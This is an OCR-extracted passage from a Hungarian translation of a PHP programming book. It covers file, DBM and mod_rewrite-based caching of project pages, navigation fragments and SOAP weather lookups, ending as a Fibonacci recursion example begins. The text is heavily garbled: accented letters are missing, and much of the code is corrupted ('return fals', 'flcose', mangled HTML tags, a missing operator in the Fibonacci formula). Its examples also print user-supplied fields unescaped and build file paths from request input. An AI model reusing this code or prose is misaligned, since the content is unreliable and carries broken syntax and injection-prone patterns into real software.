Az eddigiekben szmos mdszert megismertnk a gyorstrak hasznlatra, itt az id, hogy ezeket valdi alkalmazsokba is beptsk. Ilyenkor azonban ugyanazzal a gonddal szembeslnk, mint a szerel, amikor a szerszmosldjbl a megfelel eszkzt prblja kivlasztani. Mit hasznljunk - szget vagy csavart? Krfrszt vagy kzifrszt? Fjl vagy DBM alap gyorstrat? Nha egyrtelm a megolds, de van, hogy az let valdi dntsi helyzet el llt. Rengeteg lehetsges mdszer ll a rendelkezsnkre; legjobban gy vlaszthatunk kzttk, ha lemrjk a klnbsget hatkonysguk kztt. A kvetkezkben vals, gyakorlati pldk kapcsn ismerkednk meg a lehetsges megoldsi mdokkal.

286

PHP fejleszts felsfokon

Bemutatott pldinkban sok esetben a Gyorstrak szerkezet nlkli fjlokban cmsz alatt megismert fjlvltsi mdszert hasznljuk. A megoldsi mdszert itt az alkalom szlte, s a kdot a Cache_File osztllyal kell beburkolnunk a dolgok egyszerbb ttelre (hasonlan a Cache_DBM osztlyhoz):
<?php class Cache_File { protected $filename; protected $tempfilename; protected $expriration; protected $fp;

public function _____ construct($filename, $expiration=false) $this->filename = $filename; $this->tempfilename = "$filename.".getmypid(); $this->expiration = $expiration;
}

public function put($buffer) { if(($this->fp = fopen($this->tempfilename, return fals;


}

"w"))

== fals)

fwrite($this->fp, $buffer); fclose($this->fp); rename($this->tempfilename, $this->filename); return true;


}

public function get() { if($this->expiration) { $stat = @stat($this->filename); if($stat[9]) { if( t i m e ( ) > $modified + $this->expiration) unlink($this->filename); return fals;
} } }

return @file_get_contents($this->filename);
}

public function remove() @unlink($filename);


} } ?>

Lthatjuk, hogy a Cache_File osztly igencsak hasonlt a Cache_DBM-hez. Van egy konstruktrnk, melynek tadjuk a gyorstrfjl nevt, valamint esetleg egy lejrati idt. A get () tagfggvny vgzi az elavulskezelst (amennyiben tadtunk lejrati idt), s

10. fejezet Adatsszetevk tmeneti trolsa

287

visszaadja a gyorstrfjlok tartalmt. A put () az tmeneti tr tartalmt berja az tmeneti gyorstrfjlba, majd ezt felcserli a vgs fjllal. A remove () fggvny megsemmisti a gyorstrfjlt. Ezt a tpus gyorstrat gyakran hasznljk kimeneti trbl szrmaz oldalak trolsra, gy kt knyelmi" fggvnyt - begin () s end () - hasznlhatunk a kimenet trolsra a put () helyett: public function begin() { if(($this->fp = fopen($this->tempfilename, return fals;
}

"w"))

== fals)

ob_start();
}

public function end() { $buffer = ob_get_contents() ; ob_end_flush(); if(strlen($buffer)) { fwrite($this->fp, $buffer); fclose($this->fp); rename($this->tempfilename, return true;
} else {

$this->filename);

flcose($this->fp); unlink($this->tempfilename); return fals;


} }

A kimenet kiadsa eltt a begin () , utna pedig az end () tagfggvnyt kell meghvnunk.
<?php require_once 'Cache/File.inc'; $cache = Cache_File("/data/cachefiles/index.cache") ; if($text = $cache->get()) { print $text; } else { $cache->begin(); ?> <?php // itt lltjuk el az oldalt ?> <?php $cache->end(); } ?>

288

PHP fejleszts felsfokon

Honlapok trolsa Az albbiakban megvizsgljuk, miknt alkalmazhatjuk az eddig megismert gyorstrakat egy olyan webhelyen, amely lehetv teszi, hogy a felhasznlk nylt forrs projekteket jegyezzenek be, s szemlyre szabott lapokat ksztsenek szmukra (ilyen a pear. php. net vagy a www. f reshmeat. net). Webhelynk jelents forgalmat bonyolt le, gy a gyorstrakat arra szeretnnk hasznlni, hogy felgyorstsuk az oldalbetltst s nmileg tehermentestsk az adatbzist. Ezzel a felllssal meglehetsen gyakran tallkozhatunk. Egy raktrkszlet webes megjelentse, egy webnapl bejegyzsei, az egyni honlapokat tartalmaz webhelyek, valamint a tzsdk hlzati adatlapjai hasonl ignyeket tmasztanak a gyorstrakkal szemben. Sajt cgem pldul lehetv teszi minden dolgozja szmra, hogy bizonyos sablonok alapul vtelvel elksztsk sajt honlapjaikat a cg webhelyen. Az sszhang fenntartsa vgett mindenki bizonyos szemlyre szabhat adatokat trolhat (egy szemlyes zenetet s nhny szt nmagrl), ms elre megadott szemlyes (rgztett letrajzi adatok) s nem szemlyes tartalommal (a cg fej- s lblce, valamint a webhelyhez tartoz bngszsvok). Kezdjk a munkt egy egyszer projekt honlapjval, melyen az albbi egyszer adatokat tallhatjuk meg: class Project { // A projekt jellemzi public $name; public $projectid; public $short_description; public $authors; public $long_description; public $file_url; Az osztly konstruktora egy nevet is tvehet. Ha ezt megadjuk a szmra, megksrli betlteni a projekt rszleteit. Ha nem tallja a projektet a neve alapjn, kivtelt vlt ki. Lssuk, miknt: public function______ construct($name = false) if($name) { $this->_fetch($name) ;
} }

10. fejezet Adatsszetevk tmeneti trolsa

289

s itt a Pro j ect osztly tovbbi rsze: protected function _fetch($name) { $dbh = new DB_Mysql_Test ; $cur = $dbh->prepare(" SELECT FROM projects WHERE name = : 1"); $cur->execute($name); $row = $cur->fetch_assoc(); if($row) { $this->name = $name; $this->short_description = $row['short_description']; $this->author = $row['author']; $this->long_description = $row['long_description']; $this->file_url = $row['file_url'];
}

else { throw new Exception;


} } }

A store () tagfggvnnyel a projekt vltozsait visszarhatjuk az adatbzisba: public function store() { $dbh = new DB_Mysql_Test() ; $cur = $dbh->execute(" REPLACE INT projects SET short_description = :1, author = :2, long_description = :3, file_url = :4 WHERE name = : 5") ; $cur->execute($this->short_description, $this->author, $this->long_description, $this->file_url, $this->name);
} }

290

PHP fejleszts felsfokon

Mivel most gyorstrfjlokat runk ki, tudnunk kell, hov tegyk azokat. Kszthetnk szmukra egy helyet a $CACHEBASE globlis belltsi vltoz segtsgvel, amely a gyorstrfjlok trolsnak legfels szint knyvtrt adja meg. Megolds lehet az is, ha ltrehozunk egy Conf ig globlis egyke (singleton) osztlyt, amely minden belltsi paramternket trolja majd. A Proj ect osztlyban kszthetnk egy get_cachef ile () tagfggvnyt, amely megadja az adott projekt gyorstrfjljnak tvonalt: public function get_cachefile($name) { global $CACHEBASE; return "$CACHEBASE/projects/$name.cache";
}

A projekt oldala valjban egy sablon, melyet a megadott rszletekkel tltnk fel. gy biztosthatjuk a teljes webhely kinzetnek sszhangjt. A projekt nevt az oldalnak GET paramterknt adjuk t (az URL valahogy gy fest: http: //www. example. com/project .php?name=ProjectFoo), majd sszelltjuk az oldalt:
<?php reguire 'Project.inc'; try { $name = $_GET['name']; if(!$name) { throw new ExceptxonO; } $project = new Project($name); } catch (Exception $e) { // Ha brmilyen hiba trtnik, a ltogat ide kerl header("Locat ion: /index.php"); return; } ?> <html> <title><?= $project->name ?></title> <body> <!-- boilerplate text --> <table> <tr> <td>Author: </tdxtd><?= $project->author ?> </tr>

10. fejezet * Adatsszetevk tmeneti trolsa

291

<tr> <td>Summary: </tdxtdx? = $project->short_description ?> </tr> <tr> <td>Availability:</td>

<tdxa href="<?= $project->file_url ?>">click here</ax/td> </tr> <tr> <td><?= $project->long_description ?></td> </tr> </table> </body> </html>
Szksg van egy olyan oldalra is, ahol a szerzk sajt oldalaikat szerkeszthetik: <? require_once 'Proj ect.inc'; $name = $_REQUEST['name']; $project = new Project($name); if(array_key_exists("posted", $_POST)) { $proj ect->author = $_POST['author']; $project->short_description = $_POST['short_description'] ; $project->file_url = $_POSTt'file_url']; $project->long_description = $_POST['long_description']; $project->store(); } ?> <html> <title>Project Page Editor for <?= $project->name ?> </title> <body> <form name="editproject" method="POST"> <input type ="hidden" name="name" value="<?= $name ?>"> <table> <tr> <td>Author:</td> <tdxinput type="text" name=author value="<?= $project->author
?>" ></td>

</tr> <tr> <td>Summary:</td> <td> -cinput type="text" name=short_description value="<?= $project->short_description ?>"> </td> </tr>

<tr> <td>Availability:</td> <tdxinput type="text" name=file_url value="<?= $project>file_url?>"></td> </tr> <tr> <td colspan=2> <TEXTAREA name="long_description" rows="20" c ol s = " 8 0" > < ?= $project-> long_description ?></TEXTAREA> </td> </tr> </table> <input type=submt name=posted value="Edit content"> </form> </body> </html> Els valdi gyorstrunk a korbban ksztett Cache_File osztly kzvetlen alkalmazsa:
<?php require_once 'Cache_File.inc'; require_once 'Project.inc'; try { $name = $_GET['name']; if(!$name) { throw new ExceptionO; } $cache = new Cache_File(Project::get_cachefile($name)); if($text = $cache->get()) { print $text; return; } $project = new Project($name); } catch (Exception $e) { // Hiba esetn ide kerlnk header("Locat ion: /index.php"); return; } $cache->begin(); ?> <html> <title><?= $project->name ?></title> <body> <!-- boilerplate text -->

10. fejezet Adatsszetevk tmeneti trolsa

293

<table> <tr> <td>Author :</tdxtd><?= $project->author ?> </tr> <tr> <td>Summary:</tdxtd><?= $project->short_description ? > </tr> <tr> <td>Availability: </tdxtdxa href="<?= $project->f ile_url ?>">click here</ax/td> </tr> <tr> <tdx?= $project->long_description ?x/td> </tr> </table> </body> </html> <?php $cache->end(); ?>

Mindezidig nem foglalkoztunk az elavuls krdsvel, gy a trolt msolat soha nem frissl - ami nem valami j hr. Alkalmazhatunk lejrati idt az oldalon, melynek letelte utn a program automatikusan frissti a tartalmat. Ez azonban nem a legjobb megolds, mivel nem pontosan felel meg az ignyeinknek. A trolt adatok ugyanis akrmeddig rvnyesek maradhatnak, mg valaki meg nem vltoztatja azokat. Valjban teht azt szeretnnk, hogy a tartalom mindaddig rvnyes maradjon, mg az albbi kt dolog valamelyike be nem kvetkezik: Az oldal sablonjt mdostani kell. Egy szerz frissti a projekt adatait. Az els esetet magunk is elintzhetjk. Ha mdostanunk kell a sablonokat, egyszeren rjuk t a kdot a project .php fjlban, s trljk a gyorstrfjlokat. Ha ezutn j krelem rkezik, a rendszer a helyes sablonnal trolja az oldalt. A msodik esetet gy kezelhetjk, ha a szerkesztsi oldalon gyorstrfrisstst valstunk meg. A szerzk csak itt mdosthatjk az oldalakat - ha kszen van a mdosts, csak el kell tvoltanunk a gyorstrfjlt. Ezek utn a projekthez rkez kvetkez krelem nyomn a gyorstr jra ltrejn. A szerkesztsi oldalon nem kell sokat vltoztatnunk - mindssze hrom sort kell a kd elejre rnunk:
<?php require_once 'Cache/File.inc'; require_once 'Project.inc';

294

PHP fejleszts felsfokon

$name = $_REQUEST [ ' name ' ] ; $project = new Project($name); if(array_key_exists("posted", $_POST)) { $project->author = $_POST['author']; $project->short_description = $_POST['short_description']; $project->file_url = $_POST['file_url']; $project->long_description = $_POST['long_description'] ; $project->store() ; // eltvoltjuk a gyorstrfjlt $cache = new Cache_File(Project::get_cachefile($name)); $cache->remove(); } ?> A gyorstrfjl eltvoltsa utni els krelem nem ri el a project .php adatainak trolt vltozatt, gy j trolst kezdemnyez. Ez persze egy tskt eredmnyez az erforrsok felhasznlsban. Amint a korbbiakban mr emltettk, ennek oka az, hogy az egyidej krelmek kln dinamikus msolatokat ksztenek az oldalrl, mg valamelyikk be nem fejezi, s trolja az eredmnyt. Ha projektnk oldalait gyakran ltogatjk, rdemes lehet elre trolnunk a tartalmukat a fentiek megelzsnek rdekben. Ezt egyszeren megtehetjk, ha az adott oldalt a lecsatols helyett megksreljk elrni, gy elejt vehetjk a versengsnek. A mdszer egyetlen htultje, hogy tl sok gyorstrfjl esetn nem valami hatkony. 100 000 gyorstrfjl elzetes elrse percekig vagy akr rkig is eltarthat, mg a gyorstr eltvoltsa ennl sokkal gyorsabban elvgezhet. Az elzetes trols mdszere olyan oldalaknl alkalmazhat sikerrel, melyeknl a gyorstr tartalmt gyakran rik el a felhasznlk. Nem rdemes azonban alkalmaznunk olyankor, ha ez az elrs ritkbb, ha a gyorstrfjlok szmra biztostott hely korltozott, vagy ha sok gyorstrfjlt kell egyszerre rvnytelenteni. Az sszes oldal jratrolsa kltsges feladatnak bizonyulhat, ezrt ht folyamodhatunk a pesszimista megkzeltshez is, s egyszeren el is tvolthatjuk a gyorstrfjlokat a frissts rdekben. A kvetkez alkalommal, amikor az oldalt lekrik, a gyorstr nem kpes megfelelni az ignyeknek, gy a rendszer feltlti a friss adatokkal. Olyan alkalmazsok esetn, melyek tbb ezer vagy szzezer gyorstrfjlt hasznlnak, ez a pesszimista megkzelts hosszabb idtartamra hzhatja szt a frisstst, s gyors" rvnytelentst tesz lehetv a gyorstrban. E megkzeltssel kt apr gondunk lehet - az egyik inkbb felszni, mg a msik technikai: A http://example.com/project.php?project=myproject URL kevsb bizalomgerjeszt, mint a http: //example.com/project/myproject .html. Mindazonltal, ha jobban belegondolunk, ez nem is teljesen felszni problma.

10. fejezet Adatsszetevk tmeneti trolsa

295

A trolt oldal megjelentshez futtatnunk kell a PHP rtelmezt. St, nem csak rtelmeznnk s vgrehajtanunk kell a project .php fjlt, de mg a gyorstrfjl megnyitsa s olvassa is rnk vr. Ha az oldalt troltuk, az teljessggel statikus, gy a fenti teher mr nem nyomja vllunkat. A gyorstrfjlt egyszeren az albbi alakban rhatjuk ki:
/www/htdocs/projects/myproject.html

Ily mdon az oldal tartalma kzvetlenl a Webrl is elrhet, mindennek eredmnyekppen azonban a frissts egyes rszletei a felhasznlk szeme el kerlhetnek. Ha eltvoltjuk a gyorstrfjlt, minden r irnyul krelem a 404 Object Not Found hibval tr vissza. Ez persze nem okoz gondot, ha az oldalt csak a felhasznli szerkesztoldalrl mdostjk (hiszen a rendszer az rs folyamn frissti a gyorstrat), de nagy bajba kerlhetnk, ha az sszes oldalt egyszerre kvnjuk frissteni. Az Apache modrewrite modulja - trols okosan Ha a PHP-t Apache rendszerrel hasznljuk, a mod_rewrite segtsgvel teljesen statikus HTML gyorstrfjlok hasznlata mellett megtarthatjuk a frissts rejtettsgt. Ha Apache kiszolglt hasznlunk, s mg nem ismerjk a mod_rewrite-ot, tegyk le a knyvet, s olvassunk egy kicsit utna. A megfelel hivatkozsokat megtallhatjuk a fejezet vgn. Megltjuk majd, nem hiba fradtunk - a mod_rewrite valban nagyszer segttrs. A mod_rewrite egy URL-jrar motor, amely az Apache kiszolglhoz kapcsoldik, lehetv tve az URL-ek szably alap jrarst. Szmtalan lehetsge kzl az albbiakat emelnnk ki: Bels tirnytsok, amelyek a visszaadott URL-eket teljes mrtkben az Apacheban, a felhasznl ell rejtve rjk t. Kls tirnytsok. Helyetteskrelmek (egyttmkdve a mod_proxy modullal). Nem lenne nehz egy egsz knyvet rni a mod_rewrite hasznlatnak lehetsgeirl, sajnlatos mdon azonban szks idnk csak azt teszi lehetv, hogy az itt felmerlt feladat megoldsnak kapcsn mutassuk be kpessgeit. Azt szeretnnk teht, hogy a pro j ect. php gyorstr-fjljait HTML fjlokknt a dokumentumknyvtron bell a /www/htdocs/projects/ProjectFoo.html cmre rhassuk, gy a ltogatk a ProjectFoo honlapot egyszeren elrhetik a kvetkez cmen: http://www.example.com/projects/ProjectFoo.html.

296

PHP fejleszts felsfokon

A gyorstrfjlt e helyre rni nagyon egyszer - csak mdostanunk kell a Project: :get_cachef ile () tagfggvnyt: function get_cachefile($name) { $cachedir = "/www/htdocs/projects" ; return "$cachedir/$name.html";
}

A gond csak az, hogy nem tudjuk, mit tegynk, ha hinyzik ez a fjl. Szerencsre a mod_rewrite megadja a vlaszt. Kszthetnk ugyanis egy szablyt, ami azt mondja: ha a gyorstrfjl nem ltezik, irnyts t egy olyan oldalra, ami feltlti a gyorstrat, s add vissza a kapott tartalmat." Nos, ez egyszeren hangzik mert az is! Elksztjk teht a mod_rewrite szablyt: <Directory /projects> RewriteEngine On RewriteCond /www/htdocs/%{REQUEST_FILENAME} - f RewriteRule Vprojects/(.*).html /generate_project.php?name=$l </Directory> Mivel minden gyorstrfjlt a projects knyvtrba rtunk, bekapcsolhatjuk az jrar motort a RewriteEngine On utastssal. Ezutn a RewriteCond szabllyal bellthatjuk az jrars felttelt:
/www/htdocs/%{REQUEST_FILENAME} !-f

Vagyis, ha a /www/htdocs/$ [REQUEST_FILENAME] nem fjl, a szably teljesl. gy, ha a /www/htdocs/projects/ProjectFoo.html nem ltezik, tovbbhaladunk az jrarshoz: RewriteRule "Vprojects/(.*)-html /generate_project.php?name=$l Ez sszeveti a krelem URI-jt (/projects/ProjectFoo.html) az albbi szablyos kifejezssel:
^/projects/(.*).html

Ez a zrjelben lev kifejezssel egyez elemeket a $1 vltozban trolja (esetnkben ez a ProjectFoo). Ha van egyezs, egy bels tirnyts keletkezik (ami teljesen rejtve marad a vgfelhasznl ell), trva a szolgltatott URI-t a /generate_project .php?name=$l alakba (ez esetnkben a /generate_project .php?name=ProjectFoo).

10. fejezet Adatsszetevk tmeneti trolsa

297

Mr csak a generate_proj ect .php maradt htra. Szerencsre ez csaknem megegyezik az eredeti pro j ect. php oldallal, de felttel nlkl trolnia kell az oldal kimenett. Lssuk a kdjt:
<?php require 'Cache/File.inc'; require 'Project.inc'; try { $name = $_GET[name]; if(!$name) { throw new Exception; } $project = new Project($name); } catch (Exception $e) { // hiba esetn ide kerlnk header("Location: /index.php"); return; } $cache = new Cache_File(Project::get_cachefile($name) ) ; $cache->begin(); ?> <html> <title><?= $project->name ?></title> <body> <!-- boilerplate text --> <table> <tr> <td>Author:</tdxtd><?= $project->author ?> </tr> <tr> <td>Summary:</tdxtd><?= $project->short_description ?> </tr> <tr> <td>Availability:</td> <tdxa href="<?= $project->file_url ?>">click here</ax/td> </tr> <tr> <tdx?= $project->long_description ?x/td> </tr> </table> </body> </html> <?php $cache->end(); ?>

298

PHP fejleszts felsfokon

A mod_rewrite helyett hasznlhatjuk az Apache ErrorDocument utastst is, mellyel az egyni hibaoldalak megjelentst tmogatja. Ennek belltshoz jrarsi szablyainkat a httpd. conf llomnyban az albbi utastssal helyettesthetjk: ErrorDocument 4 04 /generate_project.php Ezzel tudatjuk az Apache kiszolglval, hogy 404-es hiba esetn (pldul ha a krt dokumentum nem ltezik) irnytsa t belsleg a felhasznlt a /generate_project .php cmre. Ez lehetv teszi a webmester szmra, hogy sajt hibaoldalra vigye a felhasznlt, ha nincs meg a krt dokumentum. Ltezik azonban egy msik alkalmazsa is - helyettesthetjk vele az jrarsi szablyokat. Miutn elhelyeztk az ErrorDocument utastst a httpd. conf llomnyban, a generate_project .php fels blokkjt meg kell vltoztatnunk gy, hogy a $_SERVER [ ' REQUESTMJRI' ] -t hasznlja ahelyett, hogy a $name vltozt adn t a $_GET [ ] paramtereknt. A generate_pro j ect. php vgl gy fest majd:
<?php require 'Cache/File.inc'; require 'Project.inc'; try { $name = $_SERVER['REQUEST_URI'] ; if(!$name) { throw new Exception; } $project = new Project($name) ; } catch (Exception $e) { // hiba esetn ide kerlnk header("Location: /index.php"); return; }

$cache = new Cache_File(Project::get_cachefile($name)); $cache->begin();


?>

Egybirnt a program viselkedse megegyezik azzal, amit a mod_rewrite szablynak alkalmazsnl tapasztaltunk. Az ErrorDocument utasts nagyszer lehetsget ad statikus tartalmak menet kzbeni ellltsra, ami klnsen akkor jhet jl, ha nem tudjuk elrni a kiszolglnkat, s gy nem biztostott a mod_rewrite motor hasznlhatsga. Mindazonltal jmagam szeretem felttelezni, hogy a sajt kiszolglm felett rendelkezhetek, gy a mod_rewrite hasznlatt rszestem elnyben. Ez ugyanis igen sokoldal eszkz, mellyel szksg esetn jval sszetettebb kdot is megvalsthatunk a gyorstr frisstsre.

10. fejezet Adatsszetevk tmeneti trolsa

299

Radsul, mivel az ErrorDocument kezelt hvtuk, a kapott oldal a 404-es hibakddal tr vissza, az rvnyes" lapoknl megszokott 200-as kd helyett. A legtbb bngsznek nem okoz gondot ez a kettssg, de vannak olyan eszkzk, amelyek nem szeretik, ha egy rvnyes lappal a 404-es hibakd rkezik. Szerencsre ezen is segthetnk, ha egy header () paranccsal magunk lltjuk be a visszatrsi kdot:
header("$_SERVER['SERVER_PROTOCOL'] 2 00");

Oldalak rszeinek trolsa


Gyakran elfordul, hogy nem tudjuk trolni a teljes oldalt, de szeretnnk, ha egyes rszeit mgis csak elraktrozhatnnk. J plda erre a szemlyre szabott bngszsvok esete, melyet a Sti alap gyorstrak cmsz alatt trgyaltunk. Ott a felhasznl navigcis belltsait egy stiben troltuk, s az albbiak szerint hasznltuk fel: <?php $userid = $_COOKIE['MEMBERID'] ; $user = new User($userid); if ( !$user->name) { header("Location: /login.php") ;
}

$navigation = $user->get_interests() ;
?>

<table> <tr> <td> <table> <trxtd> <?= $user->name % > ' s Home </tdx/tr> <?php for($i=l; $i<=3; $i++) { ?> <trxtd> <!-- hely a bngszsvon: <?= $i ?> --> <?= generate_navigation_element($navigation[$i] ) ?> </tdx/tr> <?php } ?> </table> </td> <td> <!-- az oldal trzse (minden felhasznlnl azonos tartalom) --> </td> </tr> </table> Itt a generate_navigation_component () eredmnyt prbltuk trolni. Kis oldalrszek esetn a feladat nem is nehz. Mindenekeltt persze meg kell rnunk ezt a fgg-

300

PHP fejleszts felsfokon

vnyt. Ehhez idzzk fel, hogy a $navigation vltoz tmakr-alfejezet prokbl llt, mint sports-football (sport-futball), weather-21046 (idjrs-21046), projectFoobar, vagy news-global (hrek-klfld). A generate_navigation megvalsthat egy elosztknt (tovbbtknt) is, amely az tadott tmakrtl fggen ms s ms tartalom-elllt fggvnyt hv meg:
<?php function generate_navigation($tag) { list ($topic, $subtopic) = explode('-', $tag, 2); if(function_exists("generate_navigation_$topic") ) { return call_user_func("generate_navigation_$topic", $subtopic); } else {

return 'unknown';
} } ?>

A projekt sszefoglaljhoz tartoz tartalom-elllt fggvny gy fest:


<?php require_once 'Project.inc'; function generate_navigation_project($name) { try { if(!$name) { throw new Exception(); } $project = new Project($name); } catch (Exception $e){ return 'unknown project'; } ?> <table> <tr> <td>Author: </tdxtdx? = $project->author ?> </tr> <tr> <td>Summary:</tdxtd><?= $project->short_description ?> </tr> <tr> <td>Availability:</td>

<tdxa href="<?= $project->file_url ?>">click here</ax/td> </tr> <tr>

10. fejezet Adatsszetevk tmeneti trolsa

301

<td><?= $project->long_description ?></td> </tr> </table> <?php } ?>

Nos, ez pont gy nz ki, mint az els prblkozsunk a projekt teljes oldalnak trolsra - s valban, ugyanazt a trolsi mdszert hasznlhatjuk itt is. Az egyetlen eltrs, hogy itt meg kell vltoztatnunk a get_cachef ile fggvnyt, hogy elkerljk az tkzseket a teljes oldal gyorstrfjljaival:
<?php require_once 'Project.inc'; function generate_navigation_project($name) { try { if(!$name) { throw new Exception; } $cache = new Cache_File(Project::get_cachefile_nav($name)); if($text = $cache->get()) { print $text; return; } $project = new Project($name)j $cache->begin(); } catch (Exception $e){ return 'unkonwn project1; } ?> <table> <tr> <td>Author :</tdxtdx? = $project->author ? > </tr> <tr> <td>Summary:</tdxtd><?= $project->short_description ?> </tr> <tr> <td>Availability:</tdxtdxa href="<?= $project->file_url ?>">click here</ax/td> </tr> <tr> <tdx?= $project->long_description ?x/td> </tr> </table> <?php $cache->end(); }

302

PHP fejleszts felsfokon

A Proj ect. inc fjlban pedig a kvetkezket kell elhelyeznnk: public function get_cachefile_nav($name) { global $CACHEBASE; return "$CACHEBASE/projects/nav/$name.cache";
} ?>

Ht, ilyen egyszer az egsz!

Lekrdezsek s gyorstrak
rdekes feladat a bngszsv idjrsi adatokat megjelent rsznek elksztse. Ehhez hasznlhatjuk az xmethods .net SOAP fellett, ami a ZIP kd (irnytszm az USA-ban) alapjn napraksz idjrsi adatokat szolgltat. Ne essnk ktsgbe, ha mg nem tallkoztunk SOAP krelmekkel a PHP-ben - a 16. fejezetben bvebben szlunk rluk. A generate_navigation_weather () kszt egy Weather objektumot az adott ZIP kdhoz, majd nmi SOAP trkkzssel visszaadja az adott helyen mrt hmrsklet rtkt:
<?php include_once 'SOAP/Client.php'; class Weather { public $temp; public $zipcode; privt $wsdl; privt $soapclient; public function __ construct($zipcode) { $this->zipcode = $zipcode; $this->_get_temp($zipcode) ; } privt function _get_temp($zipcode) { if ( !$this->soapclient) { $query = "http://www.xmethods.net/sd/2 001/TemperatureService.wsdl"; $wsdl = new SOAP_WSDL($query); $this->soapclient = $wsdl->getProxy(); } $this->temp = $this->soapclient->getTemp($zipcode); } } function generate_navigation_weather($zip) { $weather = new Weather($zip); ?>

10. fejezet Adatsszetevk tmeneti trolsa

303

The current temp in <?= $weather->zipcode ?> is <?= $weather->temp ?> degrees Farenheit\n"; <?php }

Az RPC-k ltalban lassak, gy rdemes gyorstrba helyeznnk az eredmnyt. Egyszeren alkalmazhatjuk a Project objektumnl megismert mdszert, s a generate_navigation_weather () eredmnyt elhelyezhetjk egy szerkezet nlkli fjlban. Mindez nagyszeren mkdik, de sok apr fjlocskt eredmnyez - ZIP kdonknt egyet. Hasznlhatunk DBM fjlt is, melyben a ZIP kdoknak egy-egy rekord felel meg. Ehhez mindssze nhny sort kell elhelyeznnk a _get_temp fggvnyben, amely gy hasznlatba veszi a korbban elksztett Cache_DBM osztlyt: privt function _get_temp($zipcode) { $dbm = new Cache_DBM(Weather::get_cachefile(), 3 6 0 0 ) ; if($temp = $dbm->get($zipcode)) { $this->temp = $temp; return; } else { if(!$this->soapclient) { $url = " http://www.xmethods.net/sd/2001/TemperatureService.wsdl"; $wsdl = new S0AP_WSDL($url) ; $this->soapclient = $wsdl->getProxy();
}

$this->temp = $this->soapclient->getTemp($zipcode); $dbm->put($zipcode, $this->temp);


} }

function get_cachefile() { global $CACHEBASE; return "$CACHEBASE/Weather.dbm";


}

A Weather objektum ksztsekor teht elszr meg kell nznnk a DBM fjl tartalmt, s el kell dntennk, hogy az ott trolt hmrskletrtk rvnyes-e. A burkol osztlyban a 3600 msodperces (1 rs) lejrati rtket adtuk meg, gy biztostottuk az adatok frissessgt. Ezutn pedig kvetkezhet a szoksos eljrs: ha az adat megtallhat a trban, adjuk vissza, ha nem, ellltjuk, s ezutn adjuk vissza."

304

PHP fejleszts felsfokon

Tovbbi olvasmnyok
Szmos relcis adatbziskezel rendszerben tallhatunk gyorstrakat a lekrdezsekhez - akr kzvetlenl megvalstva, akr kls alkalmazsokba ptve. A MySQL 4.0.1. vltozatban is tallkozhatunk ilyennel (bvebben lsd a www.mysql. com cmen). A mod_rewrite rszletes lerst az Apache webhelyn tekinthetjk meg, a kvetkez cmen: http: //httpd. apache.org. A webszolgltatsok, a SOAP, valamint a WDSL rszletes trgyalst a 16. fejezetben tallhatjuk meg - e fejezet vgn tovbbi forrsmunkkat is felsorolunk.

Szmtsi jrahasznosts
A szmtsi jrahasznosts mdszere azon alapul, hogy a rszeredmnyeket (vagyis olyan adatokat, melyek nem a fggvny vgs kimenett adjk) megjegyznk, s felhasznlunk ms szmtsok hatkonyabb ttelre. Ez a mdszer jelents hagyomnyokkal rendelkezik, klnsen a szmtstudomny s a szmtgpes grafika terletn. Ne ijedjnk meg azonban ezektl a komoly tudomnyterletektl - valjban a szmtsi jrahasznosts is egyfajta gyorstrhasznlatot jelent. Az elz kt fejezetben szmos trolsi mdszert ismerhettnk meg, melyek legbels lnyegkben megegyeznek: olyan adatokat trolnak, melyek kiszmtsa jelents kltsgekkel jr. A kvetkez alkalommal, amikor e szmtsokra szksg van, megnzzk, ltezik-e az eredmny trolt vltozatban. Ha igen, azt adjuk vissza. A szmtsi jrahasznosts is ezen az alapon mkdik, de ez esetben nagyon kicsiny adatokkal dolgozunk. Itt nem az alkalmazsok teljes rszeit troljuk, hanem olyan objektumokat, adatokat, melyek egy fggvny vgrehajtsa sorn jnnek ltre. Sokszor ezek az apr sszetevk is jrahasznosthatok. Az sszetett mveletek egyszerbbek vgrehajtsnak eredmnyeknt llnak el. Ha egy ilyen egyszer mvelet jelents rszt kvetel a futsidbl, optimalizlsval szmottev teljestmnynvekedst rhetnk el.

Plda: a Fibonacci-sorozat
Egyszer pldnkban bemutatjuk, milyen ers kapcsolat ll fenn a szmtsi jrahasznosts s az nhv fggvnyek (rekurzv fggvnyek) kztt. llatorvosi lovunk a Fibonaccisorozat lesz, melynek elemei az albbi feladat megoldsaknt llnak el: Egy pr nyulat beletesznk egy ketrecbe. Nyulaink minden hnapban egy pr nyulat ellenek, melyek kt hnap mltn vlnak ivarrett. Krds, hny nylprunk lesz n hnap mlva? (Feltesszk, hogy a nyulak nem pusztulnak el, nem vlnak meddv, s nem hagyjk el a ketrecet.)

306

PHP fejleszts felsfokon

Leonardo Fibonacci Fibonacci matematikus volt a 13. szzadi Itliban. Szmos jelents matematikai felfedezst tett, s sokan az tevkenysghez ktik a kzpkori matematika jjszletst.

A feladat megoldsa Fibonacci-sorozat nven ismert. A nylprok szma az n. hnapban megegyezik az elz hnapban jelen lev nyulak szmnak (a nyulak ugyanis nem pusztulnak el) s a kt hnappal azeltti nylprok szmnak sszegvel (hiszen pontosan ennyi nylpr ivarrett az n. hnapban, s minden nylprtl egyetlen pr nyl szrmazik). Matematikailag a Fibonacci-sorozatot a kvetkez azonossgok rjk le: Fib(O) = 1 Fib(l) = 1 Fib(n) = Fib(n-l)

Fib(n-2)

Ha ezt mondjuk n = 5-re nzzk, a kvetkezt kapjuk: Fib(5) = Fib(4) + Fib(3)

Tudjuk tovbb ezt is: Fib(4) s ezt: Fib(3) = Fib(2) + Fib(l) = Fib(3) + Fib(2)

A korbbiakat kifejthetjk teht az albbi szerint: Fib(5) = Fib(3) + Fib(2) + Fib(2) + Fib(l)

Hasonlkppen ismeretes a kvetkez egyenlsg: Fib(2) = Fib(l) + Fib(l) Vgl a Fib (5) gy ll el: Fib(5) = Fib(2) + Fib(l) + Fib(l) + Fib(O) + Fib(l) + Fib(O) + Fib(l) = F i b ( l ) + F i b ( O ) + F i b ( l ) + F i b ( l ) + F i b ( O ) + F i b ( l ) + F i b ( O ) + Fib(l) = 8

11. fejezet * Szmtsi jrahasznosts

307

Szmtsuk ki a Fib (5) rtkt egy egyszer nhv fggvnnyel: function Fib($n) { if($n == 0 II $n == 1) { return 1;
}

else { return Fib($n - 2)


} }

+ Fib($n - 1);

